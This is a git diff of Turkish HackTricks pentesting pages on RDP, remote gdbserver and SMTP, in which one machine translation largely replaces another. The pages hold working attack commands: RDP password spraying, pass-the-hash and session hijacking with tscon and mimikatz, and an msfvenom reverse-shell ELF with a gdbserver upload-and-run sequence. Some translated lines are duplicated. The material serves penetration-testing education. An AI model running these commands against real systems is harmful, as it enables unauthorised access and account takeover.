bilgilerini (sürümleri) elde eder. -### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp) +### [Kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#rdp) **Dikkatli olun, hesapları kilitleyebilirsiniz** -### **Password Spraying** +### **Şifre Sıçratma** **Dikkatli olun, hesapları kilitleyebilirsiniz** ```bash @@ -54,30 +54,22 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Bilinen kimlik bilgileri/parola ile bağlanma - -RDP (Uzak Masaüstü Protokolü) hedef sistemlere erişmek için kullanılan bir protokoldür. Bilinen kimlik bilgileri veya parolalar kullanılarak RDP'ye bağlanmak, hedef sisteme yetkisiz erişim sağlamak için kullanılan bir yöntemdir. - -Bu yöntem, hedef sistemin varsayılan kimlik bilgileri veya parolaları kullanılarak gerçekleştirilebilir. Örneğin, hedef sistemin yönetici hesabının varsayılan parolasını veya başka bir kullanıcının parolasını biliyorsanız, RDP üzerinden hedef sisteme bağlanabilirsiniz. - -Ayrıca, hedef sistemin parolasının hash değerini elde ettiyseniz, bu hash değerini kullanarak da RDP'ye bağlanabilirsiniz. Hash değeri, parolanın şifrelenmiş bir biçimidir ve doğru algoritma kullanılarak çözülebilir. - -Bu yöntem, hedef sistemin güvenlik zafiyetlerini veya zayıf noktalarını hedefleyen bir saldırı yöntemidir. Ancak, etik olmayan veya yasa dışı amaçlarla kullanıldığında yasa dışı bir faaliyet olarak kabul edilir. +### Bilinen kimlik bilgileri/hash ile bağlanın ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` -### Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol etme +### Bilinen kimlik bilgilerini RDP hizmetlerine karşı kontrol et -rdp\_check.py, impacket tarafından sağlanan bir araçtır ve belirli kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar: +rdp_check.py, impacket'ten bir betiği kullanarak belirli kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar: ```bash rdp_check /:@ ``` -
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Recon'dan raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için biraz zaman kazanıyorlar. +**Zararlı yazılım değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz ki bu da onlara daha fazla zaman kazandırarak daha derine inmelerini, kabukları patlatmalarını ve eğlenmelerini sağlar. {% embed url="https://pentest-tools.com/" %} @@ -85,32 +77,21 @@ rdp_check /:@ ### Oturum çalma -**SYSTEM izinleriyle**, sahibinin şifresini bilmeye gerek olmadan, herhangi bir kullanıcının **açık RDP oturumuna erişebilirsiniz**. +**SİSTEM izinleriyle** herhangi bir **kullanıcının açık RDP oturumuna** sahip olabilir ve sahibinin şifresini bilmeye gerek duymazsınız. **Açık oturumları alın:** ``` query user ``` **Seçilen oturuma erişim** - -Bir hedefin RDP (Uzak Masaüstü Protokolü) sunucusuna erişim sağladıktan sonra, hedefin oturumlarına erişmek isteyebilirsiniz. Bu, hedefin oturumlarını izlemek, kontrol etmek veya manipüle etmek için kullanışlı olabilir. - -RDP sunucusunda mevcut oturumları kontrol etmek için aşağıdaki adımları izleyebilirsiniz: - -1. RDP sunucusuna bağlanın. -2. Oturum açma ekranında, "Diğer Kullanıcı" seçeneğini tıklayın. -3. "Kullanıcı Adı" alanına `.\` veya `localhost\` yazın. -4. "Parola" alanına boş bir değer girin ve "Oturum Aç" düğmesini tıklayın. - -Bu adımları takip ettiğinizde, RDP sunucusunda mevcut olan oturumları görüntüleyebilir ve seçilen bir oturuma erişebilirsiniz. Bu, hedef sistemdeki kullanıcıların oturumlarını izlemek veya hedef sistemdeki bir oturumu ele geçirmek için kullanışlı bir yöntem olabilir. ```bash tscon /dest: ``` Şimdi seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit etmeniz gerekecek. -**Önemli**: Eriştiğiniz aktif bir RDP oturumu, onu kullanan kullanıcıyı oturumdan atar. +**Önemli**: Etkin bir RDP oturumuna eriştiğinizde, o oturumu kullanan kullanıcıyı atacaksınız. -Süreci belleğe dökerek şifreleri alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşimde bulunmanızı sağlar (diskte kaydedilmemiş not defterindeki şifreler, diğer makinelerde açılmış diğer RDP oturumları...). +Şifreleri işlemi dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşimde bulunmanızı sağlar (şifrelerin diske kaydedilmeden not defterinde, diğer makinelerde açılan diğer RDP oturumları...) #### **Mimikatz** @@ -121,19 +102,19 @@ ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman -Bu teknikleri **stickykeys** veya **utilman** ile birleştirerek herhangi bir yönetici CMD'sine ve herhangi bir RDP oturumuna her zaman erişebilirsiniz. +Bu teknikle **stickykeys** veya **utilman** ile birleştirildiğinde, her zaman bir yönetici CMD'sine ve herhangi bir RDP oturumuna erişebileceksiniz. -Bu tekniklerden biriyle önceden backdoor eklenmiş RDP'leri arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Zaten bu tekniklerden biriyle arka kapıdan giriş yapılmış RDP'leri arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) -### RDP Süreci Enjeksiyonu +### RDP Process Injection -Farklı bir etki alanından veya **daha iyi yetkilere sahip biri**, sizin yönetici olduğunuz PC'ye RDP üzerinden giriş yaptığında, kendi **RDP oturumu sürecine** beacon'ınızı enjekte edebilir ve onun gibi davranabilirsiniz: +Farklı bir etki alanından veya **daha iyi ayrıcalıklara sahip biri RDP** üzerinden **sisteme giriş yaptığında**, **siz yönetici olduğunuz PC'ye**, kendi **beacon'ınızı enjekte edebilir** ve onun gibi davranabilirsiniz: {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) {% endcontent-ref %} -### RDP grubuna kullanıcı ekleme +### Adding User to RDP group ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` @@ -141,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn**, öncelikle Microsoft Windows bilgisayarlarda **Shadow** saldırısını otomatikleştirmek için Powershell'de oluşturulmuş bir son-exploitasyon çerçevesidir. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenir) uzaktan bir saldırganın, işletim sistemi tarafından sağlanan araçları kullanarak, kurbanının izni olmadan masaüstünü **görüntülemesine** ve hatta talep üzerine kontrol etmesine olanak tanır. +**AutoRDPwn**, öncelikle Microsoft Windows bilgisayarlarda **Shadow** saldırısını otomatikleştirmek için tasarlanmış Powershell'de oluşturulmuş bir son aşama saldırı çerçevesidir. Bu zayıflık (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **izin almadan kurbanının masaüstünü görmesine** ve hatta işletim sistemi içindeki araçları kullanarak isteğe bağlı olarak kontrol etmesine olanak tanır. * [**EvilRDP**](https://github.com/skelsec/evilrdp) * Fare ve klavyeyi komut satırından otomatik olarak kontrol etme * Pano üzerinden komut satırından otomatik olarak kontrol etme -* İstemciden hedefe RDP üzerinden ağ iletişimini yönlendiren bir SOCKS proxy oluşturma -* Dosya aktarımları hedefte devre dışı bırakıldığında bile hedefe keyfi SHELL ve PowerShell komutları yürütme -* Dosyaları hedefe yükleme ve hedeften indirme +* İstemciden RDP aracılığıyla hedefe ağ iletişimini yönlendiren SOCKS proxy'si oluşturma +* Hedef üzerinde dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile +* Hedef üzerinde dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. @@ -167,22 +148,22 @@ Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` -
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. +**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katılın.
diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md index 98e344cfd..2895d676e 100644 --- a/network-services-pentesting/pentesting-remote-gdbserver.md +++ b/network-services-pentesting/pentesting-remote-gdbserver.md @@ -2,35 +2,35 @@
-AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Her yerden erişilebilir zafiyet değerlendirmesi ve penetrasyon testi** için anında kurulum. 20+'den fazla araç ve özellikle tam bir pentest çalıştırın. Bu araçlar ve modüller, pentester'ları değiştirmiyor - onlara daha derine kazma, kabuk açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabuklar açma ve eğlenme zamanı kazanıyorlar. {% embed url="https://pentest-tools.com/" %} ## **Temel Bilgiler** -**gdbserver**, programların uzaktan hata ayıklamasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen yan yana çalışır. Bu kurulum, **GNU Hata Ayıklayıcısı**nın, kaynak kodunun ve hata ayıklanan programın ikili bir kopyasının depolandığı "ana" makineden bağlanmasını sağlar. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı TCP veya seri bir hat üzerinden yapılabilir, bu da esnek hata ayıklama kurulumlarına olanak tanır. +**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen yan yana çalışır. Bu kurulum, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı farklı bir makineden, "ana makine"den bağlanmasına izin verir. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı TCP veya seri hat üzerinden yapılabilir, esnek hata ayıklama kurulumlarına olanak tanır. -**gdbserver'ın herhangi bir bağlantı noktasında dinlemesini sağlayabilirsiniz** ve şu anda **nmap, hizmeti tanıma yeteneğine sahip değildir**. +**gdbserver'ı dinleyebilirsiniz herhangi bir bağlantı noktasında** ve şu anda **nmap hizmeti tanıyamıyor**. ## Sömürü -### Yükleme ve Yürütme +### Yükle ve Çalıştır -**msfvenom ile kolayca bir elf arka kapı oluşturabilir**, bunu yükleyebilir ve yürütebilirsiniz: +Kolayca bir **elf arka kapı oluşturabilirsiniz msfvenom ile**, yükleyebilir ve çalıştırabilirsiniz: ```bash # Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf @@ -53,9 +53,9 @@ run # You should get your reverse-shell ``` -### Keyfi komutları çalıştırma +### Rastgele komutları yürütme -Debugger'ın keyfi komutları çalıştırmasını sağlamak için başka bir yol daha vardır. Bu, [buradan alınan bir Python özel betiği kullanarak](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) yapılabilir. +Başka bir yol, **hata ayıklayıcının rastgele komutları yürütmesini sağlamak için** [**buradan alınan python özel betiği kullanmaktır**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). ```bash # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. target extended-remote 192.168.1.4:2345 @@ -74,7 +74,7 @@ r # Run the remote command, e.g. `ls`. rcmd ls ``` -Öncelikle **yerel olarak bu betiği oluşturun**: +İlk olarak **bu betiği yerel olarak oluşturun**: {% code title="remote-cmd.py" %} ```python @@ -195,22 +195,22 @@ RemoteCmd() ``` {% endcode %} -
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. +**Uzaktan GDB sunucusu pentest etme**. Herhangi bir yerden 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar. {% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com) +* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**]'u takip edin(https://twitter.com/hacktricks\_live)**.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md index f131e2b4e..3ff09f589 100644 --- a/network-services-pentesting/pentesting-smtp/README.md +++ b/network-services-pentesting/pentesting-smtp/README.md @@ -1,30 +1,30 @@ -# 25,465,587 - SMTP/s Pentest +# 25,465,587 - SMTP/s Pentesting
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR gönderin**. +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Bu araçlar ve modüller, pentesterlara daha derine inme, kabuk açma ve eğlenme zamanı kazandırmak için özel olarak geliştirilmiştir. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan özellikler. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar. {% embed url="https://pentest-tools.com/" %} ## **Temel Bilgiler** -**Basit Posta Aktarım Protokolü (SMTP)**, **e-posta gönderme ve alma** için TCP/IP paketinde kullanılan bir protokoldür. Alıcının mesajları sıraya koyma konusundaki sınırlamaları nedeniyle, SMTP genellikle **POP3 veya IMAP** ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda depolamalarına ve düzenli aralıklarla indirmelerine olanak tanır. +**Basit Posta Aktarım Protokolü (SMTP)**, **e-posta gönderme ve alma** için TCP/IP paketinde kullanılan bir protokoldür. Alıcının mesajları sıraya koyma konusundaki kısıtlamaları nedeniyle, SMTP genellikle **POP3 veya IMAP** ile birlikte kullanılır. Bu ek protokoller, kullanıcılara mesajları bir sunucu posta kutusunda depolama ve periyodik olarak indirme olanağı sağlar. -Uygulamada, **e-posta programlarının** genellikle **e-posta göndermek için SMTP'yi**, **alım için ise POP3 veya IMAP'yi** kullandığı yaygındır. Unix tabanlı sistemlerde, e-posta amaçları için en sık kullanılan SMTP sunucusu olarak **sendmail** öne çıkar. Sendmail olarak bilinen ticari paket, bir POP3 sunucusunu içerir. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği eklemek için seçenek sunar. +Uygulamada, **e-posta programlarının** genellikle **e-posta göndermek için SMTP'yi** kullanırken, **alım için POP3 veya IMAP'yi** kullandığı yaygındır. Unix tabanlı sistemlerde, e-posta amaçları için en sık kullanılan SMTP sunucusu **sendmail** olarak öne çıkar. Sendmail olarak bilinen ticari paket bir POP3 sunucusunu içerir. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği eklemeyi seçenek olarak sunar. **Varsayılan port:** 25,465(ssl),587(ssl) ``` @@ -33,13 +33,13 @@ PORT STATE SERVICE REASON VERSION ``` ### E-POSTA Başlıkları -Eğer **kurbanın size bir e-posta göndermesini sağlama fırsatınız varsa** (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü e-posta başlıklarını görerek **kurbanın iç ağ yapısı hakkında bilgi edinebilirsiniz**. +Eğer **kurbanı size bir e-posta göndermeye ikna etme fırsatınız varsa** (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü **e-postanın başlıklarını görerek kurbanın iç ağ yapısı hakkında bilgi edinebilirsiniz**. -Ayrıca, bir SMTP sunucusundan bir e-posta alabilirsiniz, çünkü sunucu size bir NDN (tanımlanmamış kullanıcı) e-posta gönderecektir. Ancak, e-postayı izin verilen bir adresten gönderdiğinizden (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun. +Ayrıca, **SMTP sunucusundan bir e-posta alabilirsiniz, sunucunun size bir NDN e-posta göndereceği bir adresine e-posta göndermeye çalışarak** (çünkü sunucu saldırganın bir NDN e-postasını gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabildiğinizden emin olun. -Ayrıca, **farklı içerikler göndermeyi denemelisiniz çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz**. Örneğin: `X-Virus-Scanned: by av.domain.com`\ +Ayrıca, **farklı içerikler göndermeyi denemelisiniz çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz** örneğin: `X-Virus-Scanned: by av.domain.com`\ EICAR test dosyasını göndermelisiniz.\ -**Antivirüs (AV)** tespit etmek, **bilinen güvenlik açıklarını** sömürmenize olanak sağlayabilir. +**AV**'yi tespit etmek, **bilinen güvenlik açıklarını** sömürmenize olanak tanıyabilir. ## Temel eylemler @@ -49,98 +49,25 @@ EICAR test dosyasını göndermelisiniz.\ ```bash nc -vn 25 ``` -**SMTPS** (Secure SMTP) is a method of securing the Simple Mail Transfer Protocol (SMTP) communication. It uses Transport Layer Security (TLS) or Secure Sockets Layer (SSL) to encrypt the data transmitted between the email client and the mail server. +**SMTPS**: -SMTPS operates on port 465 and requires a valid SSL/TLS certificate to establish a secure connection. This ensures that the email content and login credentials are protected from eavesdropping and tampering. - -To pentest SMTPS, you can use tools like **Nmap** to scan for open ports and identify the SMTPS service. Once identified, you can perform various tests and attacks to assess the security of the SMTPS implementation. - -Some common techniques for SMTPS pentesting include: - -1. **Banner Grabbing**: Retrieve the SMTPS banner to gather information about the server software and version. - -2. **User Enumeration**: Enumerate valid email addresses by sending RCPT TO commands and analyzing the server responses. - -3. **Brute-Force Attacks**: Attempt to guess valid usernames and passwords by systematically trying different combinations. - -4. **SMTP Command Injection**: Exploit vulnerabilities in the SMTPS server by injecting malicious commands to execute arbitrary code or gain unauthorized access. - -5. **Email Spoofing**: Forge the sender's email address to send emails that appear to come from a trusted source. - -6. **Email Relay**: Exploit misconfigured SMTPS servers to relay emails through them, potentially leading to spamming or phishing attacks. - -Remember to always obtain proper authorization before conducting any pentesting activities. Unauthorized access to email systems is illegal and unethical. +SMTPS, Secure SMTP olarak da bilinir, SMTP üzerinden güvenli iletişim sağlamak için kullanılan bir protokoldür. SMTPS, SMTP'nin şifrelenmiş bir sürümüdür ve genellikle 465 numaralı port üzerinden iletişim kurar. SMTPS, iletişimin gizliliğini ve bütünlüğünü sağlamak için SSL veya TLS kullanır. Bu protokol, e-posta sunucuları arasındaki güvenli iletişimi sağlamak için yaygın olarak kullanılır. ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` ### Bir kuruluşun MX sunucularını bulma - -Bir kuruluşun MX (Mail Exchange) sunucularını bulmak, SMTP (Simple Mail Transfer Protocol) hedeflerini belirlemek için önemli bir adımdır. Bu adım, e-posta hedeflerini belirlemek ve e-posta tabanlı saldırılar gerçekleştirmek için kullanılabilir. - -Bir kuruluşun MX sunucularını bulmak için aşağıdaki adımları izleyebilirsiniz: - -1. DNS sorgulaması yapmak için `nslookup` veya `dig` gibi bir araç kullanın. -2. Hedef kuruluşun alan adını belirleyin. -3. Belirlenen alan adı için MX kayıtlarını sorgulayın. -4. MX kayıtlarını analiz edin ve hedef kuruluşun MX sunucularını belirleyin. - -Örnek bir `nslookup` komutu kullanarak MX sunucularını bulma: - -```bash -nslookup -type=mx example.com -``` - -Bu komut, `example.com` alan adı için MX kayıtlarını sorgular ve MX sunucularının listesini döndürür. - -Alternatif olarak, `dig` komutunu kullanarak da MX sunucularını bulabilirsiniz: - -```bash -dig example.com MX -``` - -Bu komut da aynı şekilde MX kayıtlarını sorgular ve MX sunucularının listesini gösterir. - -MX sunucularını bulduktan sonra, bu bilgileri e-posta tabanlı saldırılar gerçekleştirmek veya e-posta güvenliği testleri yapmak için kullanabilirsiniz. ```bash dig +short mx google.com ``` -### Saptama - -SMTP sunucusunu hedefleyen bir saptama süreci, aşağıdaki adımları içerebilir: - -1. **Port Taraması**: SMTP sunucusunun çalıştığı portu belirlemek için bir port taraması yapın. SMTP genellikle TCP 25 portunda çalışır. - -2. **Banner Grabbing**: SMTP sunucusunun banner'ını almak için bir bağlantı açın. Banner, sunucunun kimliği ve sürümü gibi bilgileri içerebilir. - 